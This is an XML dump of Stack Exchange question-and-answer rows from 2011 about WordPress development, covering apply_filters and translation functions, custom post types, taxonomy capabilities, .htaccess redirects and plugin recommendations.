  <row Id="16570" PostTypeId="2" ParentId="16567" CreationDate="2011-05-06T15:39:32.513" Score="1" ViewCount="" Body="&lt;p&gt;For simple galleries, I usually code something up using &lt;a href=&quot;http://wordpress.org/extend/plugins/magic-fields/&quot; rel=&quot;nofollow&quot;&gt;Magic Fields&lt;/a&gt;. It gives the client an easy to use interface for adding images via the media library, with drag-and-drop reordering. Then I'll use a jQuery slider on the front-end, or I'll write my own.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-06T15:39:32.513" CommentCount="2" />
  <row Id="16571" PostTypeId="2" ParentId="16568" CreationDate="2011-05-06T15:50:06.903" Score="1" ViewCount="" Body="&lt;p&gt;You have to register a taxonomy using register_taxonomy or register_taxonomy_for_object_type. The you can use wp_insert_term to insert values for that taxonomy.&lt;/p&gt;&#xA;" OwnerUserId="4740" LastActivityDate="2011-05-06T15:50:06.903" />
  <row Id="16572" PostTypeId="2" ParentId="16565" CreationDate="2011-05-06T15:52:05.343" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://justintadlock.com/archives/2009/11/16/everything-you-need-to-know-about-wordpress-2-9s-post-image-feature&quot; rel=&quot;nofollow&quot;&gt;http://justintadlock.com/archives/2009/11/16/everything-you-need-to-know-about-wordpress-2-9s-post-image-feature&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LIsts a plugin:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/get-the-image&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/get-the-image&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure by the article and description if what you are looking for is exactly what it does? It seems to imply that, but I'm not 100%&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-05-06T15:52:05.343" CommentCount="1" />
  <row Id="16573" PostTypeId="1" CreationDate="2011-05-06T15:56:15.547" Score="3" ViewCount="255" Body="&lt;p&gt;I'm learning how to build html forms using PHP by taking an example from &quot;simplr form registration&quot; plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking at this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$form .= apply_filters('simplr-reg-instructions', __('Please fill out this form to sign up for this site', 'simplr-reg'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can you please explain what is happning here - what the function does, why is the need for 'simplr-reg-instructions' and 'simplr-reg'?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why can't this line simply be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$form .= 'Please fill out this form to sign up for this site' ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've read the function reference but still can't figure it out.&lt;/p&gt;&#xA;" OwnerUserId="5171" LastActivityDate="2011-05-06T16:27:29.343" Title="Explanation for apply_filters function and its variables" Tags="&lt;apply-filters&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="16574" PostTypeId="2" ParentId="16567" CreationDate="2011-05-06T16:04:50.387" Score="1" ViewCount="" Body="&lt;p&gt;I used Galleria (not a plugin) and custom coded functions up for wp gallery to do exactly the same as you require except the thumbs were listed vertically to the right of the large image.&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-05-06T16:04:50.387" CommentCount="2" />
  <row Id="16575" PostTypeId="1" CreationDate="2011-05-06T16:07:03.207" Score="0" ViewCount="28" Body="&lt;p&gt;Hey. I´m switching from categories to custom posts, and on my current page I´m looping in thumbnails from the same category as the one displaying on single.php. That is, on single.php i loop in my content and below the content comes thumbnails from the same category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to do the same thing now, but with custom post instead. I´m not much of a coder, so I dont know really how to change my current code to check for the same custom posts instead. Maybe someone can help me with this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code looks like this now:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/mnfGQitC&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/mnfGQitC&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to change it so it looks for posts in the same custom post! Hoping for some helpful soul out there :)&lt;/p&gt;&#xA;" OwnerUserId="5079" LastActivityDate="2011-05-06T16:07:03.207" Title="Loop in thumbnails from the same custom post as the one displaying" Tags="&lt;post-thumbnails&gt;" />
  <row Id="16576" PostTypeId="1" CreationDate="2011-05-06T15:42:03.753" Score="0" ViewCount="362" Body="&lt;p&gt;I need a shopping cart plugin for my WordPress website but this shopping cart needs to be without checkout, instead of paying this order they will submit their order and the admin will contact them for further explanation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general i need a shopping cart without payment process no CC, no Paypal, No payment at all?&lt;/p&gt;&#xA;" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-05-07T16:04:57.563" LastActivityDate="2011-06-06T02:23:24.957" Title="Shopping cart without checkout?" Tags="&lt;plugin-recommendation&gt;&lt;e-commerce&gt;" AnswerCount="4" CommentCount="2" />
  <row Id="16577" PostTypeId="2" ParentId="16576" CreationDate="2011-05-06T16:15:00.767" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-e-commerce/&quot; rel=&quot;nofollow&quot;&gt;WP e-Commerce&lt;/a&gt; has pluggable payment gateway, you could modify the included test gateway to work like this. It may already work as-is for you.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-06T16:15:00.767" />
  <row Id="16579" PostTypeId="2" ParentId="16573" CreationDate="2011-05-06T16:23:12.610" Score="2" ViewCount="" Body="&lt;p&gt;You have two different functions here &lt;code&gt;apply_filters&lt;/code&gt; and &lt;code&gt;__()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;apply_filters function is the WordPress way of letting you change/edit the value of variables using your own callback functions and the &lt;code&gt;add_filter&lt;/code&gt; function. it accepts many arguments but the important ones are the first two:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$something = apply_filters( $tag, $value, $var ... );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$tag is the name of the filter hook which is used in &lt;code&gt;add_filter&lt;/code&gt; eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter($tag,callback_function);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$value is the actual value you will be able to change or edit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$var is variables which your callback function can use, one or more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;__()&lt;/code&gt; function is used for translations:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__($message,$text_domain);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$message is the actual message to translate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$text_domain is the text domain tag used for loading the plugin or theme translation with &lt;code&gt;load_plugin_textdomain()&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;what it does?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It searches the localization module for the translation of $message, and passes the translation to the PHP return statement. If no translation is found for $message, it just returns $message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now the two functions in you case work in the same manner,&#xA;the apply_filters will send any callback function associated with &lt;code&gt;simplr-reg-instructions&lt;/code&gt; filter hook the translated value (if exists) of 'Please fill out this form to sign up for this site' using the text-domain of &lt;code&gt;simplr-reg&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-06T16:23:12.610" CommentCount="5" />
  <row Id="16580" PostTypeId="2" ParentId="16573" CreationDate="2011-05-06T16:27:29.343" Score="4" ViewCount="" Body="&lt;p&gt;That line is using two different functions that need two separate explanations.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;__()&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is a translation function. If the settings are done right, it will translate the first parameter from a list of pre-translated strings. If an installation has a file with a compiled translation for this function to use, it will use it. Of course, the plugin has to package its own translation, hence the second parameter. &lt;code&gt;simplr-reg&lt;/code&gt; tells &lt;code&gt;__()&lt;/code&gt; that the translation of the string &lt;code&gt;'Please fill out this form to sign up for this site'&lt;/code&gt; should be in the translation file associated with &lt;code&gt;'simplr-reg'&lt;/code&gt; (this is done earlier in the plugin by means of the &lt;code&gt;load_plugin_textdomain()&lt;/code&gt; function).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function then returns the translation. If there is no translation to return (e.g. the current language doesn't have a compiled translation, the string doesn't have a compiled translation for that package, etc.), the original input is returned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for a WordPress site in English, &lt;code&gt;__( 'This', 'simplr-reg' )&lt;/code&gt; is functionally the same as &lt;code&gt;'This'&lt;/code&gt;. To learn more about l10n (Localization), read up on it in the codex:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/I18n_for_WordPress_Developers&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/I18n_for_WordPress_Developers&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;apply_filters()&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This function allows you to filter values used by the plugin as needed. This is one of the main concepts to grasp as a plugin developer. WordPress is extended through hooks, which are basically access points allowing you to time the execution of your plugin's actions and/or manipulate information/data that WordPress uses, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To manipulate data such as the snippet of code you've asked about, you would use the function &lt;code&gt;add_filter()&lt;/code&gt;. Here's a basic example of how this works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'simplr-reg-instructions', 'wpse16573_my_filter' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll probably recognize the first argument there. It's the same one used in &lt;code&gt;add_filter&lt;/code&gt; above. This is the hook name. The second argument is the filter callback. It must be a valid callback to a function (&lt;a href=&quot;http://www.php.net/manual/en/language.pseudo-types.php#language.types.callback&quot; rel=&quot;nofollow&quot;&gt;read more about callbacks here&lt;/a&gt;). That line of code says &quot;When the &lt;code&gt;'simplr-reg-instructions'&lt;/code&gt; hook is executed, run the function with the callback I provided.&quot; &lt;code&gt;apply_filters()&lt;/code&gt; executes the hook found in its first argument, essentially meaning &quot;execute all functions registered for this hook.&quot; &lt;code&gt;apply_filters&lt;/code&gt; then passes all other arguments (in this case, &lt;code&gt;'Please fill out this form to sign up for this site'&lt;/code&gt;) to the functions on that filter. So, the callback I used above should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse16573_my_filter( $text ){&#xA;  $text = &quot;&amp;lt;strong&amp;gt;$text&amp;lt;/strong&amp;gt;&quot;;&#xA;  return $text;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are two kinds of hooks in WordPress: filters (the kind we're using here) and actions. The main difference between the two is that filters expect you to return something and actions do not. So, for this filter, my example above adds some html around &lt;code&gt;'Please fill out this form to sign up for this site'&lt;/code&gt; and returns it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read more about actions and hooks here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Plugin_API&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Plugin_API&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-05-06T16:27:29.343" CommentCount="2" />
  <row Id="16581" PostTypeId="1" AcceptedAnswerId="16592" CreationDate="2011-05-06T16:27:52.700" Score="1" ViewCount="119" Body="&lt;p&gt;Here is what I have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A custom post type that has a custom meta value added to a post that stores the posts expiry date. When the post passes this expiry date it no longer shows on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works but I'm using something like this to list the terms for the custom post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$termcats = get_terms('dcategory', 'hide_empty=0&amp;amp;orderby=name&amp;amp;pad_counts=1');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm showing the count of posts in the listed terms but the problem here is that the count shows all post whether or not if the post has expired. So for example I have one post in the term called &lt;code&gt;test&lt;/code&gt; and that post is expired. The above code shows there is one post but when the user click the category they get a blank list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I need a way to hook into get_terms() to ignore posts that have expired according to my date field in meta values.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-05-06T18:30:41.627" Title="How to hook get_terms() to only show count of posts that have custom meta" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;custom-field&gt;&lt;query-posts&gt;&lt;terms&gt;" AnswerCount="1" />
  <row Id="16582" PostTypeId="2" ParentId="16565" CreationDate="2011-05-06T16:33:38.907" Score="1" ViewCount="" Body="&lt;p&gt;create a function that loops over the posts with the old Custom field and update the post thumbnail using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;`update_post_meta( $post-&amp;gt;ID, '_thumbnail_id', $attachment_id )`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-06T16:33:38.907" />
  <row Id="16583" PostTypeId="2" ParentId="14066" CreationDate="2011-05-06T16:34:05.733" Score="0" ViewCount="" Body="&lt;p&gt;try to use a conditional statement to wrap the first loop, such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( get_option('sticky_posts') ) : //only do the next part if sticky posts&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;add the corresponding &lt;code&gt;endif;&lt;/code&gt; after the &lt;code&gt;endif;&lt;/code&gt; of the first loop.&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-05-06T16:34:05.733" />
  <row Id="16584" PostTypeId="1" CreationDate="2011-05-06T17:24:16.950" Score="1" ViewCount="103" Body="&lt;p&gt;I'm hoping that you are my saviours. There seem be lots of people with this problem on the forums, but no clear answer. Here's my predicament:-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've just put together a new Wordpress site on new hosting and it works a treat. I'm over the moon at how cool it is. However, on our previous (non Wordpress) hosting we had a little ordering system for our customers that sat in a folder in the route, away from the main. It has it's own index.php and could be reached by going to www.domain.com/ericsinfo&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I brought the folder into the new hosting and positioned in the root just like before, however when I go to www.domain.com/ericsinfo I get a 404 error within Wordpress. Even if I type www.domain.com/ericsinfo/index.php, still a Wordpress 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read that I should edit the .htaccess file, but my template doesn't seem to have one and I don't really want to create one using other peoples recommended code unless I break something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see that Wordpress taking over the 404 process is quite cool and don't want it to disappear entirely. I just want to be able to use the ordering system like we were previously able to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll be eternally grateful for your help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Matt&lt;/p&gt;&#xA;" OwnerUserId="5176" LastActivityDate="2011-05-07T10:53:50.487" Title="Non &quot;Wordpress&quot; pages/code getting 404 error" Tags="&lt;404-error&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" />
  <row Id="16585" PostTypeId="1" AcceptedAnswerId="16586" CreationDate="2011-05-06T17:25:07.540" Score="0" ViewCount="103" Body="&lt;p&gt;I came across a strange problem while working on my dev environment for a site we're making. We have custom post types, so I'm not sure if that's the reason why it's not working correctly.  However, I managed to get the posts to display 5 at a time instead of normal 10.  However, in one of the categories, it only displays 10 out of 20 posts.  What's weird is that if I go to a different category, it'll run correctly. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php echo category_description(); ?&amp;gt; &#xA;&amp;lt;?php if (have_posts()) : ?&amp;gt; &#xA;&amp;lt;?php $i = 0; while (have_posts() &amp;amp;&amp;amp; $i &amp;lt; 5) : the_post(); ?&amp;gt; &#xA;&amp;lt;div class = &quot;post&quot;&amp;gt;&#xA;  &amp;lt;h3 class=&quot;listing-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt; &amp;lt;br&amp;gt;&#xA;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt; &amp;lt;?php the_title(); ?&amp;gt; &amp;lt;/a&amp;gt;   &amp;lt;/h3&amp;gt;  &amp;lt;/br&amp;gt; &#xA;&amp;lt;div class = &quot;city&quot;&amp;gt; &amp;lt;b&amp;gt; City:&amp;lt;/b&amp;gt; &amp;lt;?php $City = get_post_meta($post-&amp;gt;ID, 'City', true); echo $City;?&amp;gt;   &amp;lt;/div&amp;gt;&#xA;&amp;lt;div class = &quot;price&quot;&amp;gt; &amp;lt;b&amp;gt; Price:&amp;lt;/b&amp;gt; &amp;lt;?php $Price = get_post_meta($post-&amp;gt;ID, 'Price', true); echo $Price;?&amp;gt; &amp;lt;/div&amp;gt; &#xA;&amp;lt;b&amp;gt;Rating:&amp;lt;/b&amp;gt;&#xA;&amp;lt;div class = &quot;rating&quot;&amp;gt;  &amp;lt;?php wp_gdsr_render_article(); ?&amp;gt; &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;   &amp;lt;br&amp;gt;&#xA;&amp;lt;/br&amp;gt;&#xA;&amp;lt;?php $i++; endwhile; ?&amp;gt;&#xA;&amp;lt;div class=&quot;navigation&quot;&amp;gt;&#xA; &amp;lt;div class=&quot;alignleft&quot;&amp;gt;&#xA;&amp;lt;?php previous_posts_link(); ?&amp;gt;&#xA;&amp;lt;?php next_posts_link(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &#xA;Thanks for the help everyone! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way to get around it is to go to:&#xA; &lt;code&gt;WP Dashboard &amp;gt; Settings &amp;gt; Reading&lt;/code&gt; and change the number at &quot;blog pages show at most&quot; option to the number of pages to display.&lt;/p&gt;&#xA;" OwnerUserId="5175" LastEditorUserId="5175" LastEditorDisplayName="" LastEditDate="2011-05-06T19:54:11.883" LastActivityDate="2011-05-06T19:54:11.883" Title="Displaying Custom Posts" Tags="&lt;custom-post-types&gt;&lt;categories&gt;&lt;navigation&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="16586" PostTypeId="2" ParentId="16585" CreationDate="2011-05-06T17:35:17.330" Score="2" ViewCount="" Body="&lt;p&gt;The problem is that your query is selecting 10 posts per page, but you're only limiting the view to 5, so you're losing 5 posts per page. The proper way to change the number of posts per page is to modify the query before the loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$myquery = wp_parse_args($query_string);&#xA;$myquery['posts_per_page'] = 5;&#xA;query_posts($myquery);&#xA;    if (have_posts()) : // etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-06T17:35:17.330" CommentCount="3" />
  <row Id="16587" PostTypeId="2" ParentId="16584" CreationDate="2011-05-06T18:08:55.910" Score="1" ViewCount="" Body="&lt;p&gt;The problem your having is because of the way the WordPress rewrite system works.  The WordPress .htaccess sends all requests (that dont actually exist except index.php) through the index.php file in the WordPress root directory.  If any request is made for a file named index.php it will also get sent through the root WordPress index.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple solution would be to rename the index.php file in /ericsinfo to default.php.  Depending on your hosting setup it might work by just doing that.  If it doesn't you can add a 301 redirect to your .htaccess that points www.domain.com/ericsinfo to www.domain.com/ericsinfo/default.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Redirect 301 /ericsinfo http://domain.com/ericsinfo/default.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The .htaccess file will be located in your public_html or root public web directory.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-05-06T18:08:55.910" />
  <row Id="16588" PostTypeId="1" AcceptedAnswerId="16601" CreationDate="2011-05-06T18:12:01.607" Score="0" ViewCount="177" Body="&lt;p&gt;I am not sure how to add multiple capabilities to 'assign_terms' capability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is below, notice the capabilities array within the register_taxonomy function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Registers taxonomies. */&#xA;&#xA;function cflnk_wod_score_register_taxonomies() {&#xA;/* Set up the artist taxonomy arguments. */&#xA;$wod_name_args = array(&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'query_var' =&amp;gt; 'wod_name', &#xA;    'show_tagcloud' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; array(&#xA;            'slug' =&amp;gt; 'wod/name',&#xA;            'with_front' =&amp;gt; false &#xA;            ),&#xA;    here ---&amp;gt;&amp;gt;&amp;gt; 'capabilities' =&amp;gt; array (&#xA;            'manage_terms' =&amp;gt; 'administrator',&#xA;            'edit_terms' =&amp;gt; 'administrator',&#xA;            'delete_terms' =&amp;gt; 'administrator',&#xA;            'assign_terms' =&amp;gt; 'administrator', 'editor', 'author', 'contributor'&#xA;            ),&#xA;    'labels' =&amp;gt; array(&#xA;        'name' =&amp;gt; 'WOD Names',&#xA;        'singular_name' =&amp;gt; 'WOD Name',&#xA;        'edit_item' =&amp;gt; 'Edit WOD Name',&#xA;        'update_item' =&amp;gt; 'Update WOD Name',&#xA;        'add_new_item' =&amp;gt; 'Add New WOD Name',&#xA;        'new_item_name' =&amp;gt; 'New WOD Name Name',&#xA;        'all_items' =&amp;gt; 'All WOD Names',&#xA;        'search_items' =&amp;gt; 'Search WOD Names',&#xA;        'popular_items' =&amp;gt; 'Popular WOD Names',&#xA;        'separate_items_with_commas' =&amp;gt; 'Separate wod names with commas',&#xA;        'add_or_remove_items' =&amp;gt; 'Add or remove wod names',&#xA;        'choose_from_most_used' =&amp;gt; 'Choose from the most popular wod names',&#xA;    ),&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5177" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-05-06T18:39:18.323" LastActivityDate="2011-05-06T18:50:40.307" Title="How to assign multiple roles for capabilities array withini register_taxonomy function?" Tags="&lt;custom-taxonomy&gt;&lt;capabilities&gt;" AnswerCount="1" />
  <row Id="16589" PostTypeId="2" ParentId="16554" CreationDate="2011-05-06T18:19:13.047" Score="1" ViewCount="" Body="&lt;p&gt;I don't feel like there is ever a valid reason NOT to use get_template part. Before it existed, WordPress themes were filled with repeated code and were very time-consuming + confusing to make larger modifications. Having one loop file that is always used to display posts is a godsend both for child themes and those who wish to &quot;fork&quot; themes. If you look at the code for the Twenty Eleven theme (currently in development) you will see that template parts have been extended into post formats as well. You will also notice that &quot;The Loop&quot; has been removed from the template and placed in the calling template. I think this is the best ways to use template parts for post content and is much more flexible than Twenty Ten.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you know that other template behave almost identically to get_template_part()? I wrote and article explaining how: &lt;a href=&quot;http://wordpress.mfields.org/2011/adding-context-to-template-parts/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.mfields.org/2011/adding-context-to-template-parts/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMHO the more flexible a parent theme is the better!&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-05-06T18:19:13.047" />
  <row Id="16590" PostTypeId="2" ParentId="16514" CreationDate="2011-05-06T18:25:32.980" Score="2" ViewCount="" Body="&lt;p&gt;If I were setting up this custom taxonomy, I would use only two fields: title and content. If it's there and it fits your needs then it is best to use it IMHO. Title can be used for the name of the person who wrote the testimonial and content would be used for the testimonial itself. You will have to write little to no php to get this to work and your front-end loops will look just like other WordPress loops.&lt;/p&gt;&#xA;" OwnerUserId="1367" LastEditorUserId="1367" LastEditorDisplayName="" LastEditDate="2011-07-06T04:34:40.800" LastActivityDate="2011-07-06T04:34:40.800" CommentCount="2" />
  <row Id="16591" PostTypeId="1" CreationDate="2011-05-06T18:30:32.227" Score="1" ViewCount="71" Body="&lt;p&gt;A basic question from a very humble and intimidated newbie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The List-Category-Post plugin looks like it will let me do exactly what I want to do, which is what the Wordpress codex calls &quot;A page of posts.&quot; I downloaded the plugin instead of changing any templates myself. As per instructions, I went to the admin menu and activated it. I even found the widget under the appearance menu. I know absolutely nothing about coding, so I want to avoid editing files on templates and instead &quot;use the default [file] included in the plugin's code.&quot; How do I connect this to a page so that I can actually see the categorized posts appearing? I feel like there must be something very simple that I'm missing--a box to check or some custom menu to activate. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this is not too basic a question for this forum. I came here because the plugin download page said that Fernando had chosen this forum for support. Many thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="5179" LastActivityDate="2011-05-06T18:36:23.023" Title="plugin-list-category-post Instructions" Tags="&lt;plugin-list-category-post&gt;" AnswerCount="1" />
  <row Id="16592" PostTypeId="2" ParentId="16581" CreationDate="2011-05-06T18:30:41.627" Score="2" ViewCount="" Body="&lt;p&gt;As far as I remember counts for terms are stored in database, so there is nothing to modify when you fetch them - you simply get ready-made numbers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you will either need to implement and maintain your special logic for counts completely separately or try to recalculate and modify native counts, see &lt;code&gt;wp_update_term_count_now()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-06T18:30:41.627" />
  <row Id="16593" PostTypeId="2" ParentId="16504" CreationDate="2011-05-06T18:32:09.190" Score="1" ViewCount="" Body="&lt;p&gt;try to exclude the sticky post in the main loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $query_string;&#xA;parse_str( $query_string, $args );&#xA;$args['post__not_in'] = get_option('sticky_posts'); &#xA;query_posts( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-05-06T18:32:09.190" />
  <row Id="16594" PostTypeId="1" AcceptedAnswerId="16605" CreationDate="2011-05-06T18:33:22.390" Score="1" ViewCount="157" Body="&lt;p&gt;I'm using a feed to receive special YouTube feeds organized via playlists. Unfortunately, the URL is not included in the description field, but I can get the videos to display by including the source URL on post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works fine except since the URL is not in the post area in the editor, the YouTube thumbnail grabbers I have tried don't retrieve these thumbnails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know a way I can fetch the featured image through the published version of the post? It needs to be automated because I have way to many post items to adjust them manually.&lt;/p&gt;&#xA;" OwnerUserId="2391" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-06T18:51:48.480" LastActivityDate="2011-05-06T19:05:14.093" Title="Grab YouTube Thumbnail AFTER Post?" Tags="&lt;rss&gt;&lt;post-thumbnails&gt;&lt;youtube&gt;" AnswerCount="1" />
  <row Id="16595" PostTypeId="2" ParentId="16591" CreationDate="2011-05-06T18:36:23.023" Score="1" ViewCount="" Body="&lt;p&gt;Its a great plugin and i believe the developer is a member here. To use it simply create a new page and use the plugin's shortcode &lt;code&gt;[catlist id=1]&lt;/code&gt; &#xA;change 1 with the actual category id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to read more about its features and ways you can use it : &#xA;&lt;a href=&quot;http://foro.picandocodigo.net/discussion/251/list-category-posts-documentation/&quot; rel=&quot;nofollow&quot;&gt;http://foro.picandocodigo.net/discussion/251/list-category-posts-documentation/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and to use the plugins advanced Template system:&#xA;&lt;a href=&quot;http://foro.picandocodigo.net/discussion/253/list-category-posts-using-templates/&quot; rel=&quot;nofollow&quot;&gt;http://foro.picandocodigo.net/discussion/253/list-category-posts-using-templates/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-06T18:36:23.023" CommentCount="2" />
  <row Id="16596" PostTypeId="1" CreationDate="2010-11-12T10:56:11.030" Score="0" ViewCount="188" Body="&lt;pre&gt;&lt;code&gt;Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate ... bytes) in wp-includes/pomo/streams.php on line ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;Plugins like Super-cashe &amp;amp; Total-cashe don't help.&lt;/li&gt;&#xA;&lt;li&gt;Reducing the number of wordpress plugins and widgets used gives minimal effect.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Can anyone offer solution (except asking my hoster for more memory) ?&lt;/p&gt;&#xA;" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-05-07T13:38:50.177" LastActivityDate="2011-06-06T20:08:14.027" Title="Memory usage issue in WordPress 3.x" Tags="&lt;memory&gt;" AnswerCount="3" CommentCount="0" />
